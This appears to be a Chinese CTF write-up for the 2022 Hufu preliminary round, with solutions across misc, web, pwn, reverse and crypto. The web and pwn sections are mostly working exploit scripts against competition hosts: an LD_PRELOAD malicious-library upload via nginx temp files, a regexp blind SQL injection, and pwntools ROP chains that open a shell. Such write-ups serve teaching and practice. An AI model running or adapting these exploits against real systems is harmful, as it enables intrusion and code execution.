虎符初赛 writeup

Retr_0 2022-03-22 09:45:00
CTF

Misc

Quest-RCE、Crush

都是通过\n进行命令注入。RCE是cve 沙箱逃逸。
Crush利用 DEBUG SEGFAULT

static

手撸一发,调整下gas阈值即可。

"""

if __name__ == '__main__':
    format_data=""

    datad="{}"

    for i in range(0xf000,0xff00,0x10):
        print(hex(i)[2:])
        datas=datad.format(hex(i)[2:])
        #print(len(format_data)==len(datas))
        pre_data="{}".format(datas)
        rawTx = {
            'from': acct.address,
            'nonce': web3.eth.getTransactionCount(acct.address),
            'gasPrice': web3.toWei(1,'gwei'),
            'gas': 487260,
            'value': web3.toWei(0, 'ether'),
            'data': pre_data,
            "chainId": 36849
        }
        info=deploy(rawTx)
        to_address=info['contractAddress']
        rawTx1 = {
            'from': acct.address,
            'to':to_address,
            'nonce': web3.eth.getTransactionCount(acct.address),
            'gasPrice': web3.toWei(1, 'gwei'),
            'gas': 487260,
            'value': web3.toWei(0, 'ether'),
            'data': '0x00',
            "chainId": 36849
        }
        info = deploy(rawTx1)
        if len(info['logs'])!=0:
            print("[+]CAONIMA:FINDIIN!!!",info['transactionHash'])
            exit(0)
 #   deploy(rawTx)
# address : 0x6e8650834B16B96EDcabe6e5A9e60D1336C52dF9
"""
CALLER
PUSH20 0x1bdDCdA2d1914Fb966237f32df6db10BB3fC3983 
EQ
PUSH1 0x1e
JUMPI
JUMPDEST
PUSH1 0x4b
JUMP
JUMPDEST
PUSH1 0x00
PUSH1 0x50
PUSH4 0x890d6908
PUSH1 0x34
MSTORE
PUSH1 0x04
PUSH1 0x50
PUSH1 0x00
PUSH20 0xc8aDfc432C3a29B54e89CaaFFC51A936C73f64b1 
PUSH3 0x00fbfb
CALL
JUMPDEST 
GAS
PUSH3 0x00f400
LT
PUSH1 0x59
JUMPI
JUMPDEST
PUSH1 0x64
JUMP
JUMPDEST
PUSH1 0x01
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
Return
JUMPDEST
PUSH1 0x02
PUSH1 0x80
MSTORE
PUSH1 0x20
PUSH1 0x80
RETURN
"""

签到

签到

plain text


flag是apple_watermelon

web

ezphp

nginx 临时文件+LD_PRELOAD加载恶意so

import time

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://120.79.121.132:27784/index.php"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

def create_requests_session():
    session = requests.Session()
    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

def get_nginx_pids(requests_session):
    if USE_NGINX_PIDS_CACHE:
        return NGINX_PIDS_CACHE
    nginx_pids = set()
    # Scan up to PID 200
    for i in range(1, 200):
        cmdline = requests_session.get(SERVER + f"action=read&file=/proc/{i}/cmdline").text
        if cmdline.startswith("nginx: worker process"):
            nginx_pids.add(i)
    return nginx_pids

def send_payload(requests_session, body_size=1024000):
    try:
        # The file path (a) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
        with open('C:\\Users\\86189\\Downloads\\56078\\evil.so','rb') as fp:
            so = fp.read()
            # print(len(so))
            # print(so)

        payload = '<?php system("/readflag"); ?> '+'\n'*10+'//'
        requests_session.post(SERVER , data=(open("1.so", "rb") )
                              # data = open("hack1.so", "rb")
                              )
    except:
        pass

def send_payload_worker(requests_session):
    while True:
        send_payload(requests_session)
        time.sleep(3)

def send_payload_multiprocess(requests_session):
    # Use all CPUs to send the payload as request body for Nginx
    for _ in range(multiprocessing.cpu_count()):
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
        p.start()

def generate_random_path_prefix(nginx_pids):
    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
    path = ""
    component_num = random.randint(0, 10)
    for _ in range(component_num):
        pid = random.choice(nginx_pids)
        if random.randint(0, 1) == 0:
            path += f"/proc/{pid}/cwd"
        else:
            path += f"/proc/{pid}/root"
    return path

def read_file(requests_session, nginx_pid, fd, nginx_pids):
    nginx_pid_list = list(nginx_pids)
    while True:
        path = generate_random_path_prefix(nginx_pid_list)
        path += f"/proc/{nginx_pid}/{fd}"
        try:
            d = requests_session.get(SERVER + f"action=include&file={path}").text
        except:
            continue
        # Flags are formatted as hxp{<flag>}
        if "hxp" in d:
            print("Found flag! ")
            print(d)

def read_file_worker(requests_session, nginx_pid, nginx_pids):
    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
    for fd in range(10, 45):
        thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
        thread.start()

def read_file_multiprocess(requests_session, nginx_pids):
    for nginx_pid in nginx_pids:
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
        p.start()

if __name__ == "__main__":
    print('[DEBUG] Creating requests session')
    requests_session = create_requests_session()
    print('[DEBUG] Getting Nginx pids')
    # nginx_pids = get_nginx_pids(requests_session)
    # print(f'[DEBUG] Nginx pids: {nginx_pids}')
    print('[DEBUG] Starting payload sending')
    send_payload_multiprocess(requests_session)
    print('[DEBUG] Starting fd readers')

    # read_file_multiprocess(requests_session, nginx_pids)

上传so文件后爆破pid:

import requests
for i in range(560):
    url = "http://120.79.121.132:27784/?env=LD_PRELOAD=/proc/pid/fd/{}".format(i)
    res = requests.get(url)
    print(res.text)

最后:

ezsql

regexp配合短路与进行盲注。得到密码后对大小写进行爆破。

import requests
import string
url = "http://47.107.231.226:20155/login"

# qay8tefyzc67aeoo
# m52fpldxyylb^eizar!8gxh$

def exp(paylaod):
    data= {
    "username": "fdfd'or`password`regexp'^"+paylaod+"'and`username`='qay8tefyzc67aeoo'or`password`regexp'^[",
    "password":'0'
    }
    r=requests.post(url,data=data)
    if(':401' in r.text):
        return True
    elif (':500' in r.text):
        return False

key='m52fpldxyylb'
for i in range(50):
    print(i)
    # a-zA-Z0-9!@$%^&_+
    for str in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.':
        print(str)
        payload=key+str
        if(exp(payload)):
            key=payload
            print(key)
            break

pwn

gogogo

exit菜单在结束的时候栈溢出,ret2syscall

#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './rev/gogogo'
ip = '120.25.148.180'
port = 21906
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    LD_LIBRARY_PATH = './lib/'
    LD = LD_LIBRARY_PATH+'ld.so.6'
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        if LIBC_VERSION:
            if HAS_LD:
                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
            else:
                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
        else:
            p = process(elf_path)
    else:
        p = remote(ip, port)
def debug(cmdstr=''):
    if HAS_DEBUG and LIBC_VERSION:
        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
        cmd='source /opt/patchelf/loadsym.py\n'
        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
        cmdstr=cmd+cmdstr
    # cmdstr+='handle SIGTRAP nostop\n'
    gdb.attach(p, cmdstr)
    pause()
def loadlibc(filename = remote_libc_path):
    global libc
    libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
    if type(s) == int:
        s = p.recv(s)
    ret = u64(s.ljust(8, '\x00')) - offset
    success('%s ==> 0x%x'%(info, ret))
    return ret

def game():
    # sla('YOU HAVE SEVEN CHANCES TO GUESS\n', '10 10 10 10')
    with open('solve.txt', 'r') as f:
        a = eval(f.read())
    p.recvuntil('YOU HAVE SEVEN CHANCES TO GUESS\n')
    while 1:
        p.sendline(' '.join(map(str, a[0])))
        ans = p.recvline()
        if 'WIN' in ans:
            break
        a = a[1]['({}, {})'.format(ans[0], ans[2])]
    # p.interactive()
    sleep(0.1)
    p.sendline('E')
def chose(idx):
    sla('PLEASE INPUT A NUMBER:\n', str(idx))
def add(idx, size, content = '\n'):
    chose(1)
    sla('Index', str(idx))
    sla('Size', str(size))
    sa('Content', content)
def edit(idx, content):
    chose(2)
    sla('Index', str(idx))
    sa('Content', content)
def free(idx):
    chose(3)
    sla('Index', str(idx))
def show(idx):
    chose(4)
    sla('Index', str(idx))

run(0)
# debug('b *0x494b34')
# debug('b *0x48E888')

chose(0x66666666)
chose(0x12345678)
# chose(0x54749110)
bss = 0xc00009c000
payload = '/bin/sh\0' + flat(bss, 0)
sla('OKAY YOU CAN LEAVE YOUR NAME AND BYE~\n', payload)

game()
sla('(4) EXIT\n', '4')

syscall = 0x000000000045c849
rax = 0x0000000000405b78
rdi = 0x00000000004742da #0x00000000004742da: pop rdi; xor eax, eax; mov rbp, qword ptr [rsp + 0xb0]; add rsp, 0xb8; ret; 
rsi = 0x000000000045544a
rdx = 0x000000000048546c

payload = 'a'*0x460# + p64(0xdeadbeef)
payload = '/bin/sh\0' + flat(bss, 0)
payload = payload.ljust(0x460, 'a')
payload += flat(rdi, 0) + 'a'*0xb8
payload += flat(rax, bss+0x100, rsi, bss) + 'a'*0x18
payload += flat(rax, 0)
payload += flat(rdx, 0x100, syscall)
payload += flat(rdi, bss) + 'a'*0xb8
payload += flat(rax, bss+0x100, rsi, bss+8) + 'a'*0x18
payload += flat(rax, 59)
payload += flat(rdx, 0, syscall)

sla('YOU SURE?', payload)
# context.log_level = 20
sleep(0.5)
payload = '/bin/sh\0' + flat(bss, 0)
p.send(payload)

p.interactive()

babygame

格式化字符串漏洞leak+rbp跳板改返回地址为start,栈溢出ret2libc

#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep
import ctypes

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './babygame'
ip = '120.25.205.249'
port = 31758
# remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_path = './libc-2.31.so'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    LD_LIBRARY_PATH = './lib/'
    LD = LD_LIBRARY_PATH+'ld.so.6'
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        if LIBC_VERSION:
            if HAS_LD:
                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
            else:
                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
        else:
            p = process(elf_path)
    else:
        p = remote(ip, port)
def debug(cmdstr=''):
    if HAS_DEBUG and LIBC_VERSION:
        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
        cmd='source /opt/patchelf/loadsym.py\n'
        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
        cmdstr=cmd+cmdstr
    gdb.attach(p, cmdstr)
    pause()
def loadlibc(filename = remote_libc_path):
    global libc
    libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def log(info, addr):
    success('%s ==> 0x%x'%(info, addr))
def str2int(s, info = '', offset = 0):
    if type(s) == int:
        s = p.recv(s)
    ret = u64(s.ljust(8, '\x00')) - offset
    log(info, ret)
    return ret

def hex2int(info = '', offset = 0):
    addr = int(p.recvuntil('-')[:-1], 16) - offset
    log(info, addr)
    return addr
def game():
    context.log_level = 20
    p.recvuntil('round')
    dll = ctypes.cdll.LoadLibrary(remote_libc_path)
    dll.srand(0x61616161)
    for i in range(100):
        a = (dll.rand() + 1) % 3
        sla('\n', str(a))
    context.log_level = 'debug'
def csu(func, para1, para2, para3, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    rbx = 0
    # rbp should be 1,enable not to jump
    rbp = 1
    # r12 should be the function we want to call
    r12 = para1
    # rdi=edi=r15d
    r15 = func
    # rsi=r14
    r14 = para3
    # rdx=r13
    r13 = para2

    csu_front_addr = base + 0x15B0
    csu_end_addr = base + 0x15CA

    payload = p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    return payload

loadlibc()

while 1:
    run(0)
    sa('Please input your name:\n', 'a'*0x100+'a'*8+'b'*8)
    p.recvuntil('b'*8)
    res = p.recv(1)
    if res == '\n':
        continue
    rbp = str2int(res+p.recv(5), 'rbp', 0x7ffffffee2d0-0x7ffffffee0b8)
    call = rbp - 0x7ffffffee0b8 + 0x7ffffffedeb0
    game()

    # debug('b *$rebase(0x1449)')
    payload  = '%{}$p-%{}$p-%{}$p-'.format(39, 41, 79) + 'a'*8 + 'a'*0x11
    payload += '%{}x%{}$hn'.format(0x184-64-10, 14)
    payload  = payload.ljust(64, 'a')
    payload += p64(rbp)

    sla('Good luck to you.\n', payload)
    canary = hex2int('can')
    global base
    base = hex2int('base', 0x1543)
    if (base & 0xf000) != 0xf000:
        continue
    libc.address = hex2int('libc', libc.sym['__libc_start_main']+243-libc.address)
    # one = one_gadget()[2] + libc.address
    system = libc.sym['system']
    # binsh = libc.address + 0x1b75aa
    binsh = libc.address + 0x1b45bd
    rdi = base + 0x15D3
    # print('one', hex(one))
    payload  = ''.ljust(0x100, 'a') + 'a'*8 + p64(canary) + 'a'*0x10 + p64(0)# + csu(call, 0, 0, 0, 0)
    payload += flat(rdi+1, rdi, binsh, system)
    # debug('b *$rebase(0x1565)')
    try:
        sla('name:\n', payload)
    except:
        continue
    sla('round 1: \n', str(0))

    p.interactive()

mva

菜单0xe可以让idx为负数,修改buff_idx指向__libc_start_main_ret,+1<<63变负数绕过,6个reg上加减计算为ogg地址,修改返回地址ret2ogg

#!python
#coding:utf-8

from xml.dom.expatbuilder import parseFragment
from pwn import *
import subprocess, sys, os
from time import sleep

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './mva'
ip = '119.23.155.14'
port = 34925
# remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
remote_libc_path = './libc-2.31.so'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    LD_LIBRARY_PATH = './lib/'
    LD = LD_LIBRARY_PATH+'ld.so.6'
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        if LIBC_VERSION:
            if HAS_LD:
                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
            else:
                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
        else:
            p = process(elf_path)
    else:
        p = remote(ip, port)
def debug(cmdstr=''):
    if HAS_DEBUG and LIBC_VERSION:
        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
        cmd='source /opt/patchelf/loadsym.py\n'
        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
        cmdstr=cmd+cmdstr
    gdb.attach(p, cmdstr)
    pause()
def loadlibc(filename = remote_libc_path):
    global libc
    libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
    if type(s) == int:
        s = p.recv(s)
    ret = u64(s.ljust(8, '\x00')) - offset
    success('%s ==> 0x%x'%(info, ret))
    return ret

def chose(idx):
    sla('Chose', str(idx))
def pflat(a1, a2=0, a3=0, a4=0):
    return p8(a1) + p8(a2) + p8(a3) + p8(a4)
def setreg(idx, value):
    global payload
    payload += p8(1) + p8(idx) + p16(value)[::-1]
def regmov(idx1, idx2):
    global payload
    if idx1<0:
        idx1 += 0x100
    payload += pflat(0xe, idx2, idx1)
def savereg(idx):
    global payload
    payload += pflat(0xa, idx)
def addreg(idx1, idx2, idx3):
    global payload
    payload += pflat(2, idx1, idx2, idx3)
def setbuff(value=0):
    global payload
    payload += pflat(9, value)
run(0)
debug_info = '''b *$rebase(0x13F7)
b *$rebase(0x10F0)
'''
# debug(debug_info)

payload = ''
buff_idx = (0x7ffffffee208 - 0x7ffffffedff0) / 2 + (1 << 63) + 2
print(hex(buff_idx))
buff_idx = p64(buff_idx)
for i in range(4):
    setreg(0, u16(buff_idx[i*2:i*2+2]))
    regmov(-10+i, 0)
for i in range(2):
    savereg(5-i)
loadlibc()
ret = libc.sym['__libc_start_main'] + 243
one = one_gadget()[2]
offset1 = (one&0xffff) - (ret&0xffff)
if offset1 < 0:
    offset1 += 1<<16
offset2 = ((one>>16)&0xffff) - ((ret>>16)&0xffff)
if offset2 < 0:
    offset2 += 1<<16
# success('offset ==> '+hex(offset1))
setreg(2, offset1)
setreg(3, offset2)
addreg(0, 4, 2)
setbuff()
addreg(0, 5, 3)
setbuff()

payload = payload.ljust(0x100, '\0')
sa('[+] Welcome to MVA, input your code now :\n', payload)
p.interactive()

Re

fpbe

用谷歌搜索程序中字符串找到libbpf,了解相关原理,发现fpbe_bpf__open_and_load加载了bpf程序。提取bpf程序,利用llvm-objdump反编译得到:

bpf:    file format ELF64-BPF

Disassembly of section uprobe/func:
uprobe:
       0:   79 12 68 00 00 00 00 00     r2 = *(u64 *)(r1 + 104)
       1:   67 02 00 00 20 00 00 00     r2 <<= 32
       2:   77 02 00 00 20 00 00 00     r2 >>= 32
       3:   79 13 70 00 00 00 00 00     r3 = *(u64 *)(r1 + 112)
       4:   67 03 00 00 20 00 00 00     r3 <<= 32
       5:   77 03 00 00 20 00 00 00     r3 >>= 32
       6:   bf 34 00 00 00 00 00 00     r4 = r3
       7:   27 04 00 00 c0 6d 00 00     r4 *= 28096
       8:   bf 25 00 00 00 00 00 00     r5 = r2
       9:   27 05 00 00 88 fb 00 00     r5 *= 64392
      10:   0f 45 00 00 00 00 00 00     r5 += r4
      11:   79 14 60 00 00 00 00 00     r4 = *(u64 *)(r1 + 96)
      12:   67 04 00 00 20 00 00 00     r4 <<= 32
      13:   77 04 00 00 20 00 00 00     r4 >>= 32
      14:   bf 40 00 00 00 00 00 00     r0 = r4
      15:   27 00 00 00 fb 71 00 00     r0 *= 29179
      16:   0f 05 00 00 00 00 00 00     r5 += r0
      17:   79 11 58 00 00 00 00 00     r1 = *(u64 *)(r1 + 88)
      18:   b7 00 00 00 00 00 00 00     r0 = 0
      19:   73 0a f8 ff 00 00 00 00     *(u8 *)(r10 - 8) = r0
      20:   7b 0a f0 ff 00 00 00 00     *(u64 *)(r10 - 16) = r0
      21:   7b 0a e8 ff 00 00 00 00     *(u64 *)(r10 - 24) = r0
      22:   67 01 00 00 20 00 00 00     r1 <<= 32
      23:   77 01 00 00 20 00 00 00     r1 >>= 32
      24:   bf 10 00 00 00 00 00 00     r0 = r1
      25:   27 00 00 00 8e cc 00 00     r0 *= 52366
      26:   0f 05 00 00 00 00 00 00     r5 += r0
      27:   b7 06 00 00 01 00 00 00     r6 = 1
      28:   18 00 00 00 95 59 73 a1 00 00 00 00 18 be 00 00     r0 = 209012997183893 ll
      30:   5d 05 42 00 00 00 00 00     if r5 != r0 goto +66 <LBB0_5>
      31:   bf 35 00 00 00 00 00 00     r5 = r3
      32:   27 05 00 00 bf f1 00 00     r5 *= 61887
      33:   bf 20 00 00 00 00 00 00     r0 = r2
      34:   27 00 00 00 e5 6a 00 00     r0 *= 27365
      35:   0f 50 00 00 00 00 00 00     r0 += r5
      36:   bf 45 00 00 00 00 00 00     r5 = r4
      37:   27 05 00 00 d3 ad 00 00     r5 *= 44499
      38:   0f 50 00 00 00 00 00 00     r0 += r5
      39:   bf 15 00 00 00 00 00 00     r5 = r1
      40:   27 05 00 00 84 92 00 00     r5 *= 37508
      41:   0f 50 00 00 00 00 00 00     r0 += r5
      42:   18 05 00 00 40 03 54 e5 00 00 00 00 56 a5 00 00     r5 = 181792633258816 ll
      44:   5d 50 34 00 00 00 00 00     if r0 != r5 goto +52 <LBB0_5>
      45:   bf 35 00 00 00 00 00 00     r5 = r3
      46:   27 05 00 00 85 dd 00 00     r5 *= 56709
      47:   bf 20 00 00 00 00 00 00     r0 = r2
      48:   27 00 00 00 28 80 00 00     r0 *= 32808
      49:   0f 50 00 00 00 00 00 00     r0 += r5
      50:   bf 45 00 00 00 00 00 00     r5 = r4
      51:   27 05 00 00 2d 65 00 00     r5 *= 25901
      52:   0f 50 00 00 00 00 00 00     r0 += r5
      53:   bf 15 00 00 00 00 00 00     r5 = r1
      54:   27 05 00 00 12 e7 00 00     r5 *= 59154
      55:   0f 50 00 00 00 00 00 00     r0 += r5
      56:   18 05 00 00 a3 4d 48 74 00 00 00 00 f3 a6 00 00     r5 = 183564558159267 ll
      58:   5d 50 26 00 00 00 00 00     if r0 != r5 goto +38 <LBB0_5>
      59:   bf 35 00 00 00 00 00 00     r5 = r3
      60:   27 05 00 00 2c 82 00 00     r5 *= 33324
      61:   bf 20 00 00 00 00 00 00     r0 = r2
      62:   27 00 00 00 43 ca 00 00     r0 *= 51779
      63:   0f 50 00 00 00 00 00 00     r0 += r5
      64:   bf 45 00 00 00 00 00 00     r5 = r4
      65:   27 05 00 00 8e 7c 00 00     r5 *= 31886
      66:   0f 50 00 00 00 00 00 00     r0 += r5
      67:   bf 15 00 00 00 00 00 00     r5 = r1
      68:   27 05 00 00 3a f2 00 00     r5 *= 62010
      69:   0f 50 00 00 00 00 00 00     r0 += r5
      70:   18 05 00 00 77 72 5a 48 00 00 00 00 9c b9 00 00     r5 = 204080879923831 ll
      72:   5d 50 18 00 00 00 00 00     if r0 != r5 goto +24 <LBB0_5>
      73:   63 1a f4 ff 00 00 00 00     *(u32 *)(r10 - 12) = r1
      74:   63 4a f0 ff 00 00 00 00     *(u32 *)(r10 - 16) = r4
      75:   63 2a ec ff 00 00 00 00     *(u32 *)(r10 - 20) = r2
      76:   63 3a e8 ff 00 00 00 00     *(u32 *)(r10 - 24) = r3
      77:   18 01 00 00 43 54 46 7b 00 00 00 00 25 73 7d 0a     r1 = 755886917287302211 ll
      79:   7b 1a d8 ff 00 00 00 00     *(u64 *)(r10 - 40) = r1
      80:   18 01 00 00 46 4c 41 47 00 00 00 00 3a 20 48 46     r1 = 5064333215653776454 ll
      82:   7b 1a d0 ff 00 00 00 00     *(u64 *)(r10 - 48) = r1
      83:   18 01 00 00 45 21 20 59 00 00 00 00 4f 55 52 20     r1 = 2329017756590022981 ll
      85:   7b 1a c8 ff 00 00 00 00     *(u64 *)(r10 - 56) = r1
      86:   18 01 00 00 57 45 4c 4c 00 00 00 00 20 44 4f 4e     r1 = 5642803763628229975 ll
      88:   7b 1a c0 ff 00 00 00 00     *(u64 *)(r10 - 64) = r1
      89:   b7 06 00 00 00 00 00 00     r6 = 0
      90:   73 6a e0 ff 00 00 00 00     *(u8 *)(r10 - 32) = r6
      91:   bf a1 00 00 00 00 00 00     r1 = r10
      92:   07 01 00 00 c0 ff ff ff     r1 += -64
      93:   bf a3 00 00 00 00 00 00     r3 = r10
      94:   07 03 00 00 e8 ff ff ff     r3 += -24
      95:   b7 02 00 00 21 00 00 00     r2 = 33
      96:   85 00 00 00 06 00 00 00     call 6

LBB0_5:
      97:   bf 60 00 00 00 00 00 00     r0 = r6
      98:   95 00 00 00 00 00 00 00     exit

可见bpf attach的函数的输入变量a,b,c,d应当满足方程组
28096*a+64392*b+29179*c+52366*d == 209012997183893
61887*a+27365*b+44499*c+37508*d == 181792633258816
56709*a+32808*b+25901*c+59154*d == 183564558159267
33324*a+51779*b+31886*c+62010*d == 204080879923831
用matlab解出,得到flag

a = 861042224
b = 1651261811
c = 1148205171
d = 859138098

tmp =  a.to_bytes(4, byteorder='little', signed=False)
tmp += b.to_bytes(4, byteorder='little', signed=False)
tmp += c.to_bytes(4, byteorder='little', signed=False)
tmp += d.to_bytes(4, byteorder='little', signed=False)

print(tmp)
# flag: HFCTF{0vR3sAlbs8pD2h53}

Cry

RRRSA

从不大于n的自然数随机选一个,它是素数的概率大约是$\frac{1}{ln n}$。

from functools import reduce
from random import randint
from Crypto.Util.number import *
from gmpy2 import iroot
from gmpy2 import jacobi


n1 = 122774778628333786198247673730199699244621671207929503475974934116435291656353398717362903500544713183492877018211738292001516168567879903073296829793548881467270228989482723510323780292947403861546283099122868428902480999485625751961457245487615479377459707992802193391975415447673215862245349068018710525679

for p0 in range(2**24):
    if iroot((2**337 + p0)**2 + 4 * n1, 2)[1]:
        delta = iroot((2**337 + p0)**2 + 4 * n1, 2)[0]
        break

p1 = (-(2**337 + p0) + delta) // 2
q1 = n1 // p1

assert p1 * q1 == n1

n2 = 59969098213446598961510550233718258878862148298191323654672950330070587404726715299685997489142290693126366408044603303463518341243526241117556011994804902686998166238333549719269703453450958140262475942580009981324936992976252832887660977703209225426388975233018602730303262439218292062822981478737257836581

for p0 in range(2**24):
    if iroot((2**450 + p0)**2 + 4 * n2, 2)[1]:
        delta = iroot((2**450 + p0)**2 + 4 * n2, 2)[0]
        break

p2 = (-(2**450 + p0) + delta) // 2
q2 = n2 // p2

assert p2 * q2 == n2

e1 = 7105408692393780974425936359246908629062633111464343215149184058052422839553782885999575538955213539904607968494147112651103116202742324255190616790664935322773999797774246994193641076154786429287567308416036562198486649223818741008968261111017589015617705905631979526370180766874051731174064076871339400470062519500450745667838729104568633808272577378699913068193645578675484681151593983853443489561431176000585296710615726640355782811266099023653898050647891425956485791437516020367967793814415345332943552405865306305448753989707540163585481006631816856260061985275944250758886027672221219132999488907097750048011
c1 = 2593129589804979134490367446026701647048897831627696427897506570257238733858989741279626614121210703780002736667183915826429635213867589464112850355422817678245007337553349507744893376944140333333044928907283949731124795240808354521353751152149301719465724014407412256933045835977081658410026081895650068864922666975525001601181989114436054060461228877148361720945120260382962899756912493868467226822547185396096960560068874538680230073168773182775945272726468512949751672553541335307512429217493003429882831235199830121519272447634533018024087697385363918421438799206577619692685090186486444886371979602617584956259


e2 = 970698965238639683403205181589498135440069660016843488485401994654202837058754446853559143754852628922125327583411039117445415303888796067576548626904070971514824878024057391507617988385537930417136322298476467215300995795105008488692961624917433064070351961856959734368784774555385603000155569897078026670993484466622344106374637350023474339105113172687604783395923403613555236693496567851779400707953027457705617050061193750124237055690801725151098972239120476113241310088089420901051617493693842562637896252448161948655455277146925913049354086353328749354876619287042077221173795354616472050669799421983520421287
c2 = 2757297249371055260112176788534868300821961060153993508569437878576838431569949051806118959108641317578931985550844206475198216543139472405873345269094341570473142756599117266569746703013099627523306340748466413993624965897996985230542275127290795414763432332819334757831671028121489964563214463689614865416498886490980692515184662350519034273510244222407505570929178897273048405431658365659592815446583970229985655015539079874797518564867199632672678818617933927005198847206019475149998468493858071672920824599672525667187482558622701227716212254925837398813278836428805193481064316937182435285668656233017810444672


def matrix_mul(A, B, order, n):
    C = [[0 for _ in range(order)] for _ in range(order)]
    for i in range(order):
        for j in range(order):
            for k in range(order):
                C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % n
    return C


def matrix_pow(base, order, index, n):
    I = [[0 for _ in range(order)] for _ in range(order)]
    for i in range(len(I)):
        I[i][i] = 1
    while index > 0:
        if index & 1:
            I = matrix_mul(I, base, order, n)
        base = matrix_mul(base, base, order, n)
        index //= 2
    return I


def seq(r, k, n):
    M = [[r, 1], [-1, 0]]
    Mv = matrix_pow(M, 2, k-1, n)
    ret = r * Mv[0][0] + 2 * Mv[1][0] if k != 0 else r * Mv[0][1] + 2 * Mv[1][1]
    return int(ret % n)


def encrypt(m, e, n):
    while True:
        r = randint(1, n - 1)
        if r != 2 and r != n - 2 and GCD(r, n) == 1:
            break
    v = seq(r, e, n**2)
    print('r =', r)
    return ((1 + m * n) * v) % n ** 2


def crt(remainder_list, mod_list):
    mod_product = reduce(lambda a, b: a * b, mod_list)
    mi_list = [mod_product // _ for _ in mod_list]
    mi_inverse = [inverse(mi_list[i], mod_list[i]) for i in range(len(mi_list))]
    r = 0
    for i in range(len(remainder_list)):
        r += mi_list[i] * mi_inverse[i] * remainder_list[i]
        r %= mod_product
    return r


def decrypt(c, e, p, q):
    i_p = jacobi(c**2 - 4, p)
    d_p = inverse(e, p - i_p)

    i_q = jacobi(c**2 - 4, q)
    d_q = inverse(e, q - i_q)

    r_p = seq(c, d_p, p)
    r_q = seq(c, d_q, q)

    r = crt([r_p, r_q], [p, q])

    t_p = (c * inverse(seq(r, e, p**2), p**2)) % p**2
    m_p = ((t_p - 1) // p) * inverse(q, p) % p

    t_q = (c * inverse(seq(r, e, q**2), q**2)) % q**2
    m_q = ((t_q - 1) // q) * inverse(p, q) % q

    m = crt([m_p, m_q], [p, q])

    return m


print(long_to_bytes(decrypt(c1, e1, p1, q1)))
print(long_to_bytes(decrypt(c2, e2, p2, q2)))

"""
b'The original challenge picks beta = 0.33, which yields straightforward unintended solution. BTW do you know coppersmith?'
b'HFCTF{5eb34942-bd0d-4efd-b0e1-a73225d92678}'
"""

评论

H

Hard 2022-03-22 12:12:51

